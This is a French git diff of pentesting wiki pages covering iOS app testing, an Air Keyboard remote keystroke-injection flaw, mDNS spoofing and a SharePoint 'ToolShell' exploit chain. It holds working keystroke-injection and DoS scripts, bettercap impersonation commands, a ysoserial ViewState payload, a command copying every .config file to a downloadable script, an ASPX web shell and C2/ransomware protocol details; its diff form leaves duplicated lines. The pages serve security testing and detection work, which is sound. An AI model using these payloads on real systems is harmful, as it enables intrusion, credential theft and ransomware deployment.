Grâce au **Contournement Biométrique Objection**, situé sur [cette page GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), une technique est disponible pour surmonter le mécanisme **LocalAuthentication**. Le cœur de cette approche consiste à exploiter **Frida** pour manipuler la fonction `evaluatePolicy`, garantissant qu'elle renvoie systématiquement un résultat `True`, indépendamment du succès réel de l'authentification. Cela est particulièrement utile pour contourner les processus d'authentification biométrique défectueux.
Grâce au **Objection Biometrics Bypass**, situé sur [cette page GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), une technique est disponible pour surmonter le mécanisme **LocalAuthentication**. Le cœur de cette approche consiste à exploiter **Frida** pour manipuler la fonction `evaluatePolicy`, garantissant qu'elle renvoie systématiquement un résultat `True`, indépendamment du succès réel de l'authentification. Cela est particulièrement utile pour contourner les processus d'authentification biométrique défectueux.
Pour activer ce contournement, la commande suivante est utilisée :
```bash
@ -1018,30 +1018,30 @@ burp-configuration-for-ios.md
### Vérification du Nom d'Hôte
Un problème courant lors de la validation du certificat TLS est de vérifier que le certificat a été signé par une **CA** **de confiance**, mais **ne pas vérifier** si **le nom d'hôte** du certificat est le nom d'hôte accédé.\
Pour vérifier ce problème en utilisant Burp, après avoir fait confiance à la CA de Burp sur l'iPhone, vous pouvez **créer un nouveau certificat avec Burp pour un nom d'hôte différent** et l'utiliser. Si l'application fonctionne toujours, alors quelque chose est vulnérable.
Pour vérifier ce problème en utilisant Burp, après avoir fait confiance à la CA de Burp sur l'iPhone, vous pouvez **créer un nouveau certificat avec Burp pour un nom d'hôte différent** et l'utiliser. Si l'application fonctionne toujours, alors, quelque chose est vulnérable.
### Pinning de Certificat
Si une application utilise correctement le SSL Pinning, alors l'application ne fonctionnera que si le certificat est celui attendu. Lors du test d'une application, **cela peut poser un problème car Burp servira son propre certificat.**\
Si une application utilise correctement le SSL Pinning, alors l'application ne fonctionnera que si le certificat est celui attendu. Lors de l'examen d'une application, **cela peut poser un problème car Burp servira son propre certificat.**\
Pour contourner cette protection sur un appareil jailbreaké, vous pouvez installer l'application [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) ou installer [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
Vous pouvez également utiliser **objection's** `ios sslpinning disable`
## Divers
- Dans **`/System/Library`**, vous pouvez trouver les frameworks installés sur le téléphone utilisés par les applications système.
- Les applications installées par l'utilisateur depuis l'App Store se trouvent dans **`/User/Applications`**.
- Et le **`/User/Library`** contient les données sauvegardées par les applications au niveau utilisateur.
- Dans **`/System/Library`**, vous pouvez trouver les frameworks installés sur le téléphone utilisés par les applications système
- Les applications installées par l'utilisateur depuis l'App Store se trouvent dans **`/User/Applications`**
- Et le **`/User/Library`** contient les données sauvegardées par les applications au niveau utilisateur
- Vous pouvez accéder à **`/User/Library/Notes/notes.sqlite`** pour lire les notes sauvegardées dans l'application.
- Dans le dossier d'une application installée (**`/User/Applications/<APP ID>/`**), vous pouvez trouver des fichiers intéressants :
- **`iTunesArtwork`** : L'icône utilisée par l'application.
- **`iTunesMetadata.plist`** : Infos de l'application utilisées dans l'App Store.
- **`iTunesArtwork`** : L'icône utilisée par l'application
- **`iTunesMetadata.plist`** : Infos de l'application utilisées dans l'App Store
- **`/Library/*`** : Contient les préférences et le cache. Dans **`/Library/Cache/Snapshots/*`**, vous pouvez trouver le snapshot effectué sur l'application avant de l'envoyer en arrière-plan.
### Hot Patching/Mise à Jour Forcée
Les développeurs peuvent **patcher toutes les installations de leur application instantanément** sans avoir à soumettre à nouveau l'application à l'App Store et attendre son approbation.\
À cette fin, on utilise généralement [**JSPatch**](https://github.com/bang590/JSPatch)**.** Mais il existe d'autres options comme [Siren](https://github.com/ArtSabintsev/Siren) et [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
À cette fin, on utilise généralement [**JSPatch**](https://github.com/bang590/JSPatch)**.** Mais il existe d'autres options telles que [Siren](https://github.com/ArtSabintsev/Siren) et [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
**C'est un mécanisme dangereux qui pourrait être abusé par des SDK tiers malveillants, il est donc recommandé de vérifier quelle méthode est utilisée pour la mise à jour automatique (le cas échéant) et de la tester.** Vous pourriez essayer de télécharger une version précédente de l'application à cette fin.
### Tiers
@ -1056,7 +1056,13 @@ Pour identifier les bibliothèques utilisées par une application, la commande *
```bash
otool -L <application_path>
```
## **Références & Autres Ressources**
## Vulnérabilités Intéressantes & Études de Cas
{{#ref}}
air-keyboard-remote-input-injection.md
{{#endref}}
## **Références & Ressources Supplémentaires**
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
- [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)

172
src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md Normal file
View File

@ -0,0 +1,172 @@
# Injection d'Entrée à Distance Air Keyboard (Écouteur TCP / WebSocket Non Authentifié)
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
La version iOS de l'application commerciale **“Air Keyboard”** (ID App Store 6463187929) expose un service de réseau local qui **accepte des trames de frappes sans aucune authentification ni vérification d'origine**. Selon la version installée, le service est soit :
* **≤ 1.0.4** – écouteur TCP brut sur **le port 8888** qui attend un en-tête de longueur de 2 octets suivi d'un *device-id* et de la charge utile ASCII.
* **≥ 1.0.5 (juin 2025)** – écouteur **WebSocket** sur le *même* port (**8888**) qui analyse des clés **JSON** telles que `{"type":1,"text":"…"}`.
Tout appareil sur le même Wi-Fi / sous-réseau peut donc **injecter des entrées clavier arbitraires dans le téléphone de la victime, réalisant un détournement complet de l'interaction à distance**. Une version Android compagnon écoute sur **le port 55535**. Elle effectue une poignée de main AES-ECB faible mais des données corrompues provoquent toujours une **exception non gérée à l'intérieur d'OpenSSL**, faisant planter le service en arrière-plan (**DoS**).
> La vulnérabilité est **toujours non corrigée au moment de l'écriture (juillet 2025)** et l'application reste disponible sur l'App Store.
---
## 1. Découverte de Service
Scannez le réseau local et recherchez les deux ports fixes utilisés par les applications :
```bash
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
```
Sur les appareils Android, vous pouvez identifier le package responsable localement :
```bash
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
```
Sur **iOS jailbreaké**, vous pouvez faire quelque chose de similaire avec `lsof -i -nP | grep LISTEN | grep 8888`.
---
## 2. Détails du protocole (iOS)
### 2.1 Héritage (≤ 1.0.4) – cadres binaires personnalisés
```
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
```
La *longueur* déclarée inclut le byte `device_id` **mais pas** l'en-tête de deux bytes lui-même.
### 2.2 Actuel (≥ 1.0.5) – JSON sur WebSocket
La version 1.0.5 a migré silencieusement vers les WebSockets tout en gardant le numéro de port inchangé. Un coup de touche minimal ressemble à :
```json
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
```
Aucune poignée de main, jeton ou signature n'est requise – le premier objet JSON déclenche déjà l'événement UI.
---
## 3. Exploitation PoC
### 3.1 Ciblage ≤ 1.0.4 (TCP brut)
```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)
```
### 3.2 Ciblage ≥ 1.0.5 (WebSocket)
```python
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
```
*Tout ASCII imprimable — y compris les sauts de ligne, les tabulations et la plupart des touches spéciales — peut être envoyé, donnant à l'attaquant le même pouvoir que l'entrée utilisateur physique : lancer des applications, envoyer des messages instantanés, ouvrir des URL malveillantes, basculer des paramètres, etc.*
---
## 4. Android Companion – Denial-of-Service
Le port Android (55535) attend un **mot de passe de 4 caractères chiffré avec une clé AES-128-ECB codée en dur** suivi d'un nonce aléatoire. Les erreurs de parsing remontent à `AES_decrypt()` et ne sont pas interceptées, terminant le thread d'écoute. Un seul paquet malformé suffit donc à maintenir les utilisateurs légitimes déconnectés jusqu'à ce que le processus soit relancé.
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
```
---
## 5. Applications Connexes – Un Anti-Pattern Récurrent
Air Keyboard n'est **pas un cas isolé**. D'autres utilitaires mobiles de “clavier/souris à distance” ont été livrés avec la même faille :
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 permettant l'exécution de commandes non authentifiées et l'enregistrement de touches en texte clair.
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 RCE non authentifié & espionnage de trafic.
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 mot de passe par défaut absent, brute-force de PIN faible et fuite en texte clair.
Ces cas mettent en évidence une négligence systémique des **surfaces d'attaque exposées sur les applications mobiles**.
---
## 6. Causes Fondamentales
1. **Pas de vérifications d'origine / d'intégrité** sur les trames entrantes (iOS).
2. **Mauvaise utilisation cryptographique** (clé statique, ECB, validation de longueur manquante) et **absence de gestion des exceptions** (Android).
3. **Droit Local-Network accordé par l'utilisateur ≠ sécurité** – iOS demande un consentement d'exécution pour le trafic LAN, mais cela ne remplace pas une authentification appropriée.
---
## 7. Renforcement & Mesures Défensives
Recommandations pour les développeurs :
* Lier l'écouteur à **`127.0.0.1`** et tunneliser via **mTLS** ou **Noise XX** si un contrôle à distance est nécessaire.
* Dériver des **secrets par appareil lors de l'intégration** (par exemple, code QR ou PIN de couplage) et imposer une authentification *mutuelle* avant de traiter les entrées.
* Adopter le **Apple Network Framework** avec *NWListener* + TLS au lieu de sockets bruts.
* Mettre en œuvre des **vérifications de longueur** et une gestion structurée des exceptions lors du déchiffrement ou du décodage des trames.
Gains rapides pour les équipes Blue-/Red-Team :
* **Chasse au réseau :** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` ou filtre Wireshark `tcp.port == 8888`.
* **Inspection en temps réel :** Script Frida accrochant `socket()`/`NWConnection` pour lister les écouteurs inattendus.
* **Rapport de Confidentialité des Applications iOS (Réglages ▸ Confidentialité & Sécurité ▸ Rapport de Confidentialité des Applications)** met en évidence les applications qui contactent des adresses LAN – utile pour repérer des services malveillants.
* **EDR mobiles** peuvent ajouter des règles Yara-L simples pour les clés JSON `"selectionStart"`, `"selectionEnd"` à l'intérieur des charges TCP en texte clair sur le port 8888.
---
## Détection Cheat-Sheet (Pentesters)
```bash
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
```
---
## Références
- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
- [Mobile-Hacker Blog (17 Jul 2025) – Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
{{#include ../../banners/hacktricks-training.md}}

142
src/network-services-pentesting/5353-udp-multicast-dns-mdns.md
View File

@ -2,52 +2,142 @@
{{#include ../banners/hacktricks-training.md}}
## **Informations de base**
## Informations de base
**Multicast DNS (mDNS)** permet des **opérations similaires à DNS** au sein des réseaux locaux sans avoir besoin d'un serveur DNS traditionnel. Il fonctionne sur le **port UDP 5353** et permet aux appareils de se découvrir mutuellement et de découvrir leurs services, couramment observé dans divers appareils IoT. **DNS Service Discovery (DNS-SD)**, souvent utilisé avec mDNS, aide à identifier les services disponibles sur le réseau via des requêtes DNS standard.
Multicast DNS (mDNS) permet la résolution de noms et la découverte de services semblables à DNS à l'intérieur d'un lien local sans serveur DNS unicast. Il utilise UDP/5353 et les adresses multicast 224.0.0.251 (IPv4) et FF02::FB (IPv6). La découverte de services DNS (DNS-SD, généralement utilisée avec mDNS) fournit un moyen standardisé d'énumérer et de décrire les services via des enregistrements PTR, SRV et TXT.
```
PORT STATE SERVICE
5353/udp open zeroconf
```
### **Fonctionnement de mDNS**
Détails clés du protocole que vous exploiterez souvent lors des attaques :
- Les noms dans la zone .local sont résolus via mDNS.
- Le bit QU (Query Unicast) peut demander des réponses unicast même pour des questions multicast.
- Les implémentations doivent ignorer les paquets non provenant du lien local ; certaines piles les acceptent encore.
- Le sondage/l'annonce impose des noms d'hôtes/services uniques ; interférer ici crée des conditions de DoS/"name squatting".
Dans des environnements sans serveur DNS standard, mDNS permet aux appareils de résoudre des noms de domaine se terminant par **.local** en interrogeant l'adresse multicast **224.0.0.251** (IPv4) ou **FF02::FB** (IPv6). Les aspects importants de mDNS incluent une valeur **Time-to-Live (TTL)** indiquant la validité des enregistrements et un **bit QU** distinguant les requêtes unicast et multicast. D'un point de vue sécurité, il est crucial que les implémentations de mDNS vérifient que l'adresse source du paquet correspond au sous-réseau local.
## Modèle de service DNS-SD
### **Fonctionnement de DNS-SD**
Les services sont identifiés comme _<service>._tcp ou _<service>._udp sous .local, par exemple _ipp._tcp.local (imprimantes), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge), etc. Découvrez les types avec _services._dns-sd._udp.local, puis résolvez les instances découvertes en SRV/TXT/A/AAAA.
DNS-SD facilite la découverte de services réseau en interrogeant des enregistrements de pointeur (PTR) qui associent des types de services à leurs instances. Les services sont identifiés à l'aide d'un motif **\_\<Service>.\_tcp ou \_\<Service>.\_udp** dans le domaine **.local**, ce qui conduit à la découverte des **enregistrements SRV** et **TXT** correspondants qui fournissent des informations détaillées sur le service.
## Exploration et énumération du réseau
### **Exploration du Réseau**
#### **Utilisation de nmap**
Une commande utile pour scanner le réseau local à la recherche de services mDNS est :
- scan cible nmap (mDNS direct sur un hôte) :
```bash
nmap -Pn -sUC -p5353 [target IP address]
nmap -sU -p 5353 --script=dns-service-discovery <target>
```
Cette commande aide à identifier les ports mDNS ouverts et les services annoncés sur ceux-ci.
#### **Énumération Réseau avec Pholus**
Pour envoyer activement des requêtes mDNS et capturer le trafic, l'outil **Pholus** peut être utilisé comme suit :
- découverte par diffusion nmap (écoutez le segment et énumérez tous les types/instances DNS-SD) :
```bash
sudo python3 pholus3.py [network interface] -rq -stimeout 10
sudo nmap --script=broadcast-dns-service-discovery
```
- avahi-browse (Linux) :
```bash
# Lister les types de service
avahi-browse -bt _services._dns-sd._udp
# Parcourir tous les services et résoudre en hôte/port
avahi-browse -art
```
- Apple dns-sd (macOS) :
```bash
# Parcourir tous les services HTTP
dns-sd -B _http._tcp
# Énumérer les types de service
dns-sd -B _services._dns-sd._udp
# Résoudre une instance spécifique en SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
```
- Capture de paquets avec tshark :
```bash
# Capture en direct
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Seulement les requêtes de liste de services DNS-SD
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
```
Astuce : Certains navigateurs/WebRTC utilisent des noms d'hôtes mDNS éphémères pour masquer les IP locales. Si vous voyez des candidats random-UUID.local sur le fil, résolvez-les avec mDNS pour pivoter vers des IP locales.
## Attaques
### **Exploitation de l'interrogation mDNS**
### Interférence de sondage de nom mDNS (DoS / name squatting)
Un vecteur d'attaque consiste à envoyer des réponses falsifiées aux requêtes mDNS, suggérant que tous les noms potentiels sont déjà utilisés, entravant ainsi les nouveaux appareils dans le choix d'un nom unique. Cela peut être exécuté en utilisant :
Pendant la phase de sondage, un hôte vérifie l'unicité du nom. Répondre avec des conflits falsifiés l'oblige à choisir de nouveaux noms ou à échouer. Cela peut retarder ou empêcher l'enregistrement et la découverte de services.
Exemple avec Pholus :
```bash
sudo python pholus.py [network interface] -afre -stimeout 1000
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
```
Cette technique bloque efficacement l'enregistrement de nouveaux appareils et de leurs services sur le réseau.
### Usurpation de service et impersonation (MitM)
**En résumé**, comprendre le fonctionnement de mDNS et DNS-SD est crucial pour la gestion et la sécurité du réseau. Des outils comme **nmap** et **Pholus** offrent des informations précieuses sur les services réseau locaux, tandis que la sensibilisation aux vulnérabilités potentielles aide à se protéger contre les attaques.
Usurpez les services DNS-SD annoncés (imprimantes, AirPlay, HTTP, partages de fichiers) pour forcer les clients à se connecter à vous. Cela est particulièrement utile pour :
- Capturer des documents en usurpant _ipp._tcp ou _printer._tcp.
- Attirer les clients vers des services HTTP/HTTPS pour récolter des tokens/cookies ou livrer des charges utiles.
- Combiner avec des techniques de relais NTLM lorsque les clients Windows négocient l'authentification avec des services usurpés.
### Spoofing/MitM
Avec le module zerogod de bettercap (usurpateur/impersonateur mDNS/DNS-SD) :
```bash
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
L'attaque la plus intéressante que vous pouvez effectuer sur ce service est de réaliser un **MitM** dans la **communication entre le client et le véritable serveur**. Vous pourriez être en mesure d'obtenir des fichiers sensibles (MitM la communication avec l'imprimante) ou même des identifiants (authentification Windows).\
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
```
Aussi voir les workflows de spoofing LLMNR/NBNS/mDNS/WPAD et de capture/relais d'identifiants :
{{#ref}}
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### Remarques sur les problèmes d'implémentation récents (utile pour DoS/persistente lors des engagements)
- Les bugs de crash d'Avahi reachable-assertion et D-Bus (2023) peuvent terminer avahi-daemon sur les distributions Linux (par exemple, CVE-2023-38469..38473, CVE-2023-1981), perturbant la découverte de services sur les hôtes cibles jusqu'au redémarrage.
- Le DoS de la passerelle mDNS du contrôleur LAN sans fil Cisco IOS XE (2024, CVE-2024-20303) permet aux attaquants adjacents de provoquer une forte utilisation du CPU et de déconnecter les points d'accès. Si vous rencontrez une passerelle mDNS entre les VLAN, soyez conscient de sa stabilité sous des mDNS malformés ou à haut débit.
## Considérations défensives et OPSEC
- Limites de segment : Ne pas router 224.0.0.251/FF02::FB entre les zones de sécurité à moins qu'une passerelle mDNS ne soit explicitement requise. Si vous devez relier la découverte, préférez les listes d'autorisation et les limites de débit.
- Points de terminaison/serveurs Windows :
- Pour désactiver complètement la résolution de noms via mDNS, définissez la valeur du registre et redémarrez :
```
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
```
- Dans les environnements gérés, désactivez la règle intégrée “mDNS (UDP-In)” du pare-feu Windows Defender (au moins sur le profil de domaine) pour empêcher le traitement mDNS entrant tout en préservant la fonctionnalité domestique/itinérante.
- Sur les nouvelles versions de Windows 11/ modèles GPO, utilisez la politique “Configuration de l'ordinateur > Modèles administratifs > Réseau > Client DNS > Configurer le protocole DNS multicast (mDNS)” et définissez-le sur Désactivé.
- Linux (Avahi) :
- Limitez la publication lorsque ce n'est pas nécessaire : définissez `disable-publishing=yes`, et restreignez les interfaces avec `allow-interfaces=` / `deny-interfaces=` dans `/etc/avahi/avahi-daemon.conf`.
- Envisagez `check-response-ttl=yes` et évitez `enable-reflector=yes` à moins que cela ne soit strictement nécessaire ; préférez les listes d'autorisation `reflect-filters=` lors du reflet.
- macOS : Restreindre le mDNS entrant aux pare-feu hôte/réseau lorsque la découverte Bonjour n'est pas nécessaire pour des sous-réseaux spécifiques.
- Surveillance : Alertez sur des pics inhabituels dans les requêtes `_services._dns-sd._udp.local` ou des changements soudains dans SRV/TXT de services critiques ; ce sont des indicateurs de spoofing ou d'usurpation de service.
## Référence rapide des outils
- nmap NSE : `dns-service-discovery` et `broadcast-dns-service-discovery`.
- Pholus : scan actif, balayages mDNS inversés, aides DoS et spoofing.
```bash
# Sniffing passif (secondes de timeout)
sudo python3 pholus3.py <iface> -stimeout 60
# Énumérer les types de services
sudo python3 pholus3.py <iface> -sscan
# Envoyer des requêtes mDNS génériques
sudo python3 pholus3.py <iface> --request
# Balayage mDNS inversé d'un sous-réseau
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
```
- bettercap zerogod : découvrir, sauvegarder, annoncer et usurper des services mDNS/DNS-SD (voir exemples ci-dessus).
## Spoofing/MitM
L'attaque la plus intéressante que vous pouvez effectuer sur ce service est de réaliser un MitM dans la communication entre le client et le véritable serveur. Vous pourriez être en mesure d'obtenir des fichiers sensibles (MitM la communication avec l'imprimante) ou même des identifiants (authentification Windows).\
Pour plus d'informations, consultez :
{{#ref}}
@ -57,5 +147,7 @@ Pour plus d'informations, consultez :
## Références
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y)
- [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html)
- [bettercap zerogod (découverte mDNS/DNS-SD, spoofing, usurpation)](https://www.bettercap.org/modules/ethernet/zerogod/)
{{#include ../banners/hacktricks-training.md}}

178
src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md Normal file
View File

@ -0,0 +1,178 @@
# Microsoft SharePoint – Pentesting & Exploitation
{{#include ../../banners/hacktricks-training.md}}
> Microsoft SharePoint (sur site) est construit sur ASP.NET/IIS. La plupart de la surface d'attaque web classique (ViewState, Web.Config, web shells, etc.) est donc présente, mais SharePoint est également livré avec des centaines de pages ASPX propriétaires et de services web qui élargissent considérablement la surface d'attaque exposée. Cette page recueille des astuces pratiques pour énumérer, exploiter et persister dans les environnements SharePoint en mettant l'accent sur la chaîne d'exploitation 2025 divulguée par Unit42 (CVE-2025-49704/49706/53770/53771).
## 1. Quick enumeration
```
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
```
## 2. Chaîne d'exploitation 2025 (a.k.a. “ToolShell”)
### 2.1 CVE-2025-49704 – Injection de code sur ToolPane.aspx
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` permet l'injection de code *Server-Side Include* arbitraire dans la page qui est ensuite compilée par ASP.NET. Un attaquant peut intégrer du C# qui exécute `Process.Start()` et déposer un ViewState malveillant.
### 2.2 CVE-2025-49706 – Contournement d'authentification incorrect
La même page fait confiance à l'en-tête **X-Forms_BaseUrl** pour déterminer le contexte du site. En le pointant vers `/_layouts/15/`, la MFA/SSO appliquée au site racine peut être contournée **sans authentification**.
### 2.3 CVE-2025-53770 – Désérialisation de ViewState non authentifiée → RCE
Une fois que l'attaquant contrôle un gadget dans `ToolPane.aspx`, il peut poster une valeur `__VIEWSTATE` **non signée** (ou uniquement MAC) qui déclenche la désérialisation .NET à l'intérieur de *w3wp.exe*, entraînant une exécution de code.
Si la signature est activée, volez la **ValidationKey/DecryptionKey** de n'importe quel `web.config` (voir 2.4) et falsifiez le payload avec *ysoserial.net* ou *ysodom*:
```
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
```
Pour une explication approfondie sur l'abus de l'ASP.NET ViewState, lisez :
{{#ref}}
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
{{#endref}}
### 2.4 CVE-2025-53771 – Traversée de chemin / Divulgation de web.config
L'envoi d'un paramètre `Source` conçu à `ToolPane.aspx` (par exemple `../../../../web.config`) renvoie le fichier ciblé, permettant la fuite de :
* `<machineKey validationKey="…" decryptionKey="…">` ➜ forger les cookies ViewState / ASPXAUTH
* chaînes de connexion et secrets.
## 3. Recettes de post-exploitation observées dans la nature
### 3.1 Exfiltrer chaque fichier *.config* (variation-1)
```
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
```
Le fichier `debug_dev.js` résultant peut être téléchargé anonymement et contient **toutes** les configurations sensibles.
### 3.2 Déployer un shell web ASPX encodé en Base64 (variation-2)
```
powershell.exe -EncodedCommand <base64>
```
Exemple de charge utile décodée (raccourci) :
```csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
```
Écrit à :
```
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
```
La shell expose des points de terminaison pour **lire / faire pivoter les clés de machine**, ce qui permet de forger les cookies ViewState et ASPXAUTH à travers la ferme.
### 3.3 Variante obfusquée (variation-3)
Même shell mais :
* déposé sous `...\15\TEMPLATE\LAYOUTS\`
* noms de variables réduits à des lettres uniques
* `Thread.Sleep(<ms>)` ajouté pour l'évasion de sandbox et le contournement d'AV basé sur le timing.
### 3.4 Backdoor multi-protocole AK47C2 & ransomware X2ANYLOCK (observé 2025-2026)
Des enquêtes récentes sur les incidents (Unit42 “Project AK47”) montrent comment les attaquants exploitent la chaîne ToolShell **après un RCE initial** pour déployer un implant C2 à double canal et un ransomware dans des environnements SharePoint :
#### AK47C2 – variante `dnsclient`
* Serveur DNS codé en dur : `10.7.66.10` communiquant avec le domaine autoritaire `update.updatemicfosoft.com`.
* Les messages sont des objets JSON chiffrés par XOR avec la clé statique `VHBD@H`, encodés en hexadécimal et intégrés comme **étiquettes de sous-domaine**.
```json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
```
* Les longues requêtes sont fragmentées et préfixées par `s`, puis réassemblées côté serveur.
* Le serveur répond dans des enregistrements TXT portant le même schéma XOR/hex :
```json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
```
* La version 202504 a introduit un format simplifié `<COMMAND>::<SESSION_KEY>` et des marqueurs de fragments `1`, `2`, `a`.
#### AK47C2 – variante `httpclient`
* Réutilise exactement la routine JSON & XOR mais envoie le blob hexadécimal dans le **corps HTTP POST** via `libcurl` (`CURLOPT_POSTFIELDS`, etc.).
* Même flux de travail tâche/résultat permettant :
* Exécution de commandes shell arbitraires.
* Intervalle de sommeil dynamique et instructions de kill-switch.
#### Ransomware X2ANYLOCK
* Charge utile C++ 64 bits chargée via le side-loading de DLL (voir ci-dessous).
* Utilise AES-CBC pour les données de fichiers + RSA-2048 pour envelopper la clé AES, puis ajoute l'extension `.x2anylock`.
* Chiffre récursivement les disques locaux et les partages SMB découverts ; ignore les chemins système.
* Dépose une note en texte clair `How to decrypt my data.txt` intégrant un **ID Tox** statique pour les négociations.
* Contient un **kill-switch** interne :
```c
if (file_mod_time >= "2026-06-06") exit(0);
```
#### Chaîne de side-loading de DLL
1. L'attaquant écrit `dllhijacked.dll`/`My7zdllhijacked.dll` à côté d'un `7z.exe` légitime.
2. `w3wp.exe` lancé par SharePoint exécute `7z.exe`, qui charge la DLL malveillante en raison de l'ordre de recherche de Windows, invoquant le point d'entrée du ransomware en mémoire.
3. Un chargeur LockBit séparé observé (`bbb.msi` ➜ `clink_x86.exe` ➜ `clink_dll_x86.dll`) déchiffre le shell-code et effectue un **DLL hollowing** dans `d3dl1.dll` pour exécuter LockBit 3.0.
> [!INFO]
> Le même ID Tox statique trouvé dans X2ANYLOCK apparaît dans des bases de données LockBit divulguées, suggérant un chevauchement d'affiliés.
---
## 4. Idées de détection
| Télémétrie | Pourquoi c'est suspect |
|-----------|----------------------|
| `w3wp.exe → cmd.exe` | Le processus de travail ne devrait que rarement lancer un shell |
| `cmd.exe → powershell.exe -EncodedCommand` | Modèle classique de lolbin |
| Événements de fichiers créant `debug_dev.js` ou `spinstall0.aspx` | IOCs directement issus de ToolShell |
